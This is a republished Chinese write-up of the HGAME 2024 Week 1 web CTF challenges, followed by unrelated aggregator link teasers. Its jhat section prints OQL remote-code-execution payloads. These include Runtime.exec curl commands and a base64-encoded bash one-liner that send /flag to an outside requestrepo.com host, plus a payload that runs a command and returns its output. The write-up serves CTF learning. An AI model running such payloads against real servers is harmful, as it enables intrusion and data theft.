HGAME 2024 WEEK1 Web方向题解 全

news2024/11/17 12:59:02

---------【WEEK-1】---------

Bypass it

题目描述:This page requires javascript to be enabled 😃

开题

image-20240129200206813

image-20240129200236366

不给注册,进注册就弹窗。根据题目描述,禁用JS

image-20240129222732852

注册成功登录给flag

image-20240129222721808

image-20240129222747201

2048*16

前端小游戏出这么难。JS源码各种混淆手段很难看懂。在翻翻找找之后找到两串编码。

image-20240130005448358

image-20240130011925800

是换表base64。。。。。。。。

image-20240130011935541

ezHTTP

题目描述:HTTP Protocol Basics

一把梭了,见图。

image-20240131222331290

image-20240131222425496

image-20240131222958097

Select Courses

事情缘起于,我发现一模一样的包,多几次就选上了?????

image-20240131224725991

平常不敢爆破的教务系统终究还是在比赛中爆破了。

image-20240131223947147

就这样爆,爆足成千上万次。

image-20240131224818746

如法炮制全部选上。

image-20240131230234097

image-20240131230242403

jhat

题目描述:

jhat is a tool used for analyzing Java heap dump files

提示1hint1: need rce

提示2hint2: focus on oql

提示3hint3: 题目不出网 想办法拿到执行结果

jhat简介:

jhat命令与jmap命令搭配使用,用于分析jmap生成的heap dump文件(堆转储快照)。jhat内置了一个微型的HTTP/HTML服务器,对生成的dump文件分析后,可以在浏览器中查看分析结果。

使用jhat命令,会启动一个http服务,默认端口7000。

附件内容:

FROM openjdk:8

COPY data /

CMD jhat heapdump.hprof

EXPOSE 7000
  1. FROM openjdk:8
    • 这一行指定了新镜像的基础镜像。在这种情况下,它使用的是包含Java 8开发工具包的openjdk镜像。这意味着新创建的镜像将在已安装Java 8的环境中运行。
  2. COPY data /
    • 这一行将宿主机上的data目录中的文件复制到容器的根目录(/)中。这意味着你可以将任何需要的文件或目录从你的项目目录复制到构建的Docker镜像中。
  3. CMD jhat heapdump.hprof
    • CMD指令指定了容器启动时默认执行的命令。在这个例子中,当容器启动时,它将执行jhat命令对heapdump.hprof文件进行分析。jhat是Java堆分析工具,用于分析Java堆转储文件。
  4. EXPOSE 7000
    • EXPOSE指令告诉Docker容器在运行时将监听端口7000。虽然这个命令本身不会发布端口到宿主机,但它可以作为文档的一部分,说明服务期望在7000端口上接收连接。

可以先看看这篇文章:JVM命令行监控工具之jhat(Java Heap Analysis Tool)-CSDN博客

文章有提到可以使用OQL地位一些大对象,hint也有OQL,搜了一下OQL可以造成RCE,看下文:

[OQL(对象查询语言)在产品实现中造成的RCE(Object Injection) - Nebula (chenxuuu.github.io)](https://chenxuuu.github.io/wooyun_articles/drops/OQL(对象查询语言)在产品实现中造成的RCE(Object Injection).html)

以及OQL是什么:

OQL(对象查询语言,Object Query Language)是一种用于查询对象数据库的查询语言。它的设计理念与SQL(结构化查询语言,用于关系数据库)相似,但OQL是为了更好地适应对象数据库的结构而设计的。在对象数据库中,数据被存储为对象,而不是传统的表格形式。

OQL的特点:

  1. 面向对象:OQL是基于对象的,这意味着它能直接查询对象、对象的属性和它们之间的关系。
  2. 表达能力:OQL提供了丰富的表达能力来查询复杂的对象结构,包括继承、多态和关联。
  3. 与SQL的相似性:对于熟悉SQL的用户来说,OQL的语法相对直观,因为它借鉴了SQL的许多概念和语法结构。
  4. 适用于对象导向数据库:OQL主要用于对象导向数据库系统,这些系统通常用于管理复杂的数据和关系,例如在CAD(计算机辅助设计)、电信或金融服务行业中。

应用场景:

  • 复杂数据模型:在需要处理复杂数据模型和关系的应用中,OQL能有效地执行查询。
  • 对象导向程序设计:在对象导向的程序设计中,使用OQL可以更自然地与应用程序的数据结构集成。

回到题目,题目说不出网,但是http信道是可以带出数据的。

java.lang.Runtime.getRuntime().exec('curl -X POST --data hello http://i5yh54u0.requestrepo.com')

image-20240201164848442

image-20240201164855932

一开始十七踩了个坑,企图通过执行以下字符串来DNS带出flag。

java.lang.Runtime.getRuntime().exec('curl  http://`cat /flag`.i5yh54u0.requestrepo.com/')

Shell特性:这个命令尝试使用反引号(`)来执行子命令(cat /flag),这是Shell的一种特性。然而,Runtime.exec不会解析Shell命令或Shell特性(如管道|、重定向>、反引号等)。它只是简单地将提供的字符串作为命令执行,而不经过Shell解释器,因此无法理解或执行嵌入的子命令。

解决方案:要使用这些特性,需要显式地调用Shell并将整个命令字符串作为Shell命令的一部分传递,例如使用bash -c "命令"

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')

显式调用Shell:这个命令通过bash -c显式调用了Shell,并将整个命令作为字符串传递给Shell。这样就可以利用Shell来解析和执行复杂的命令行特性,包括管道和命令替换。

命令解码{echo,Y3VybCAtVCAvZmxhZyBodHRwOi8vaTV5aDU0dTAucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}部分实际上是一个经过编码的命令字符串,使用base64解码后执行。这种方法绕过了直接在exec方法中使用Shell特性的限制。

image-20240201191115249

image-20240201191131097

但是题目有说不出网,以上的方法估计是非预期。预期解应该是如下payload:

var process = java.lang.Runtime.getRuntime().exec("cat /flag");
var inputStream = process.getInputStream();
var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
var result = scanner.hasNext() ? scanner.next() : "";
result;

image-20240202224757321

这里可能会很懵逼哈,不是说好java怎么扯到js了呢?(var

Java中var是Java10版本新出的特性,用它来定义局部变量。
使用var 定义变量的语法: var 变量名 = 初始值;

Java中var类型的用法和使用var的注意事项和使用var的优缺点_java var-CSDN博客

回到payload,逐句解释一下。

1、var process = java.lang.Runtime.getRuntime().exec("cat /flag");

这行代码使用Java的Runtime类来执行一个外部命令,这里的命令是cat /flagcat命令用于在Linux中读取文件内容并将其输出到标准输出。这里假设/flag是一个文件的路径。exec方法返回一个Process对象,该对象代表了执行的外部命令。

2、var inputStream = process.getInputStream();

这行代码获取了执行外部命令产生的进程的标准输出流。Process类的getInputStream方法返回一个输入流(InputStream),用于读取命令的标准输出内容。

3、var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");

这里创建了一个Scanner对象,用于解析(扫描)从inputStream中读取的数据。Scanner是Java的一个便利类,用于解析文本并允许程序以多种方式读取文本。useDelimiter("\\A")设置了Scanner的分隔符为正则表达式\\A,这意味着它将整个输入视为一个单一的元素(因为\\A是正则表达式的开头边界,这实际上不会分割输入,允许读取整个内容作为一个字符串)。

4、var result = scanner.hasNext() ? scanner.next() : "";

这行代码使用三元操作符来检查scanner是否有下一个元素。如果有(即,如果有输出可读),它使用scanner.next()读取整个输入作为一个字符串。如果没有输出,它将result设置为空字符串。这是一种读取全部输出内容并将其存储在一个字符串变量中的快速方法。

5、result;

显示、返回或使用前面获取的result字符串。

其实result就是process对象的toString方法返回的东西

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1435614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java-并发高频面试题-2

接着之前的Java-并发高频面试题 7. synchronized的实现原理是怎么样的? 首先我们要知道synchronized它是解决线程安全问题的一种方式,而具体是怎么解决的呢?主要是通过加锁的方式来解决 在底层实现上来看 是通过 monitorenter、monitorexit…

LabVIEW多功能接口卡驱动

LabVIEW多功能接口卡驱动 随着自动化测试系统的复杂性增加,对数据采集与处理的需求不断提高。研究基于LabVIEW开发平台,实现对一种通用多功能接口卡的驱动,以支持多通道数据采集及处理功能,展现LabVIEW在自动化和测量领域的强大能…

破除Github API接口的访问次数限制

破除Github API接口的访问次数限制 1、Github介绍2、Github API接口2.1 介绍2.2 使用方法 3、Github API访问限制3.1 访问限制原因3.2 访问限制类别 4、Github API访问限制破除4.1 限制破除原理4.2 限制破除示例 1、Github介绍 Github,是一个面向开源及私有软件项目…

opencv0014 索贝尔(sobel)算子

前面学习的滤波器主要是用来模糊图像,今天一起来了解关于边缘识别的滤波吧!嘿嘿 边缘 边缘是像素值发生跃迁的位置,是图像的显著特征之一,在图像特征提取,对象检测,模式识别等方面都有重要的作用。 人眼如…

大数据企业应用场景分析

目录 一、企业分析 1.1 企业领域维度分析 1.2 技术服务型维度分析 1.3 细分领域维度分析 二、大数据应用场景 2.1 数据分析 2.2 智能推荐 2.3 产品/流程优化 2.4 异常监测 2.5 智能管理 2.6 人工智能和机器学习 三、总结 前言:想讲清楚大数据应用对企业…

爬虫(三)

1.JS逆向实战破解X-Bogus值 X-Bogus:以DFS开头,总长28位 答案是X-Bogus,因为会把负载里面所有的值打包生成X-Boogus 1.1 找X-Bogus加密位置(请求堆栈) 1.1.1 绝招加高级断点(日志断点) 日志断点看有没有X-B值 日志…

【C#】MVVM架构

示例结果展示 前提了解 MVVM是Model-View-ViewModel的缩写形式,它通常被用于WPF或Silverlight开发。 Model——可以理解为带有字段,属性的类。例如学校类,教师类,学生类等 View——可以理解为我们所看到的UI。前端界面。 View Model在View和Model之间,起到连接的作用,…

【翻译】Processing安卓模式的安装使用及打包发布(内含中文版截图)

原文链接在下面的每一章的最前面。 原文有三篇,译者不知道贴哪篇了,这篇干脆标了原创。。 译者声明:本文原文来自于GNU协议支持下的项目,具备开源二改授权,可翻译后公开。 文章目录 Install(安装&#xff0…

中国学者用CHARLS数据库做横断面研究发表二区文章 IF=6.6!

欢迎报名2024年郑老师团队课程课程! 郑老师科研统计培训,包括临床数据、公共数据分析课程,欢迎报名 2024年1月,中国学者在《Journal of Affective Disorders》(二区,IF6.6)发表题为:…

[职场] 参与秋招前你一定要知道的几件事(终篇) #其他#职场发展

参与秋招前你一定要知道的几件事(终篇) 39、请不要在爱好类目里填写“喜欢加班”,只会对hr形成10000暴击的同时会让hr产生一种不可信的印象。 40、简历命名很重要!请务必按照既定的格式来撰写。HR在筛选时一定会有关键词&#xff…

【Docker】.NET Core 6.0 webapi 发布上传到Docker Desktop并启动运行访问,接口返回数据乱码解决方法

欢迎来到《小5讲堂》,大家好,我是全栈小5。 这是《Docker容器》系列文章,每篇文章将以博主理解的角度展开讲解, 特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对…

HCIP-Datacom(H12-821)101-110题解析

有需要完整题库的同学可以私信博主,博主看到会回复将文件发给你!(麻烦各位同学给博主推文点赞关注和收藏哦) 101、关于告警信单选息"OSPF/2/IFAUTFAIL(OID) [1.3.6.1.2.1.14.16.2.6]:A packet is received on anon-virtual …

幻兽帕鲁PalWorld服务器2024年配置选择

幻兽帕鲁PalWorld是一款备受期待的虚拟游戏,其独特的幻兽系统和丰富的世界观吸引了大量玩家。然而,随着游戏日益受到关注,服务器的配置选择成为了关键问题。2024年,随着技术不断发展,玩家对于游戏体验的需求也在不断提…

立足智能存取解决方案|HEGERLS智能托盘四向车储存制动能量 实现能源回收

对于商业配送和工业生产的企业而言,如何能高效率、低成本进行低分拣、运输、码垛、入库,用以提升仓库空间的利用效率,是现在大多企业急需要解决的行业痛点。对此,为了解决上述痛点,近年来,物流仓储集成商、…

Android9~Android13 某些容量SD卡被格式化为内部存储时容量显示错误问题的研究与解决方案

声明:原创文章,禁止转载! Android9~Android13 某些容量SD卡被格式化为内部存储时容量显示错误问题的研究与解决方案 分析Android11 系统对于EMMC/UFS作为内部存储、SD卡被格式化为内部存储、SD卡/U盘被格式化为便携式存储的不同处理 一.现象描述 实测Android9 Android10 A…

C++:深入剖析默认参数

看下列代码执行结果&#xff0c;你猜一猜会输出什么&#xff1f; #include<iostream> using namespace std; struct A {virtual void fun(int a 10) {cout << "A,a"<<a;} }; struct B :public A {void fun(int a 5) {cout <<"B,a&qu…

极狐GitLab 使用阿里云作为 OmniAuth 身份验证 provider

使用阿里云作为 OmniAuth 身份验证 provider 您可以启用阿里云 OAuth 2.0 OmniAuth provider并使用您的阿里云账户登录极狐GitLab。 创建阿里云应用 登录阿里云平台&#xff0c;在上面创建一个应用。阿里云会生成一个 client ID and secret key 供您使用。 登录到阿里云平台…

我的世界Java版服务器如何搭建并实现与好友远程联机Minecarft教程

文章目录 1. 安装JAVA2. MCSManager安装3.局域网访问MCSM4.创建我的世界服务器5.局域网联机测试6.安装cpolar内网穿透7. 配置公网访问地址8.远程联机测试9. 配置固定远程联机端口地址9.1 保留一个固定tcp地址9.2 配置固定公网TCP地址9.3 使用固定公网地址远程联机 本教程主要介…

多模态对比语言图像预训练CLIP:打破语言与视觉的界限,具备零样本能力

多模态对比语言图像预训练CLIP:打破语言与视觉的界限,具备零样本能力。 一种基于多模态(图像、文本)对比训练的神经网络。它可以在给定图像的情况下,使用自然语言来预测最相关的文本片段,而无需为特定任务进行优化。CLIP的设计类似于GPT-2和GPT-3,具备出色的零射击能力…

【LeetCode: 73. 矩阵置零 + 矩阵】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…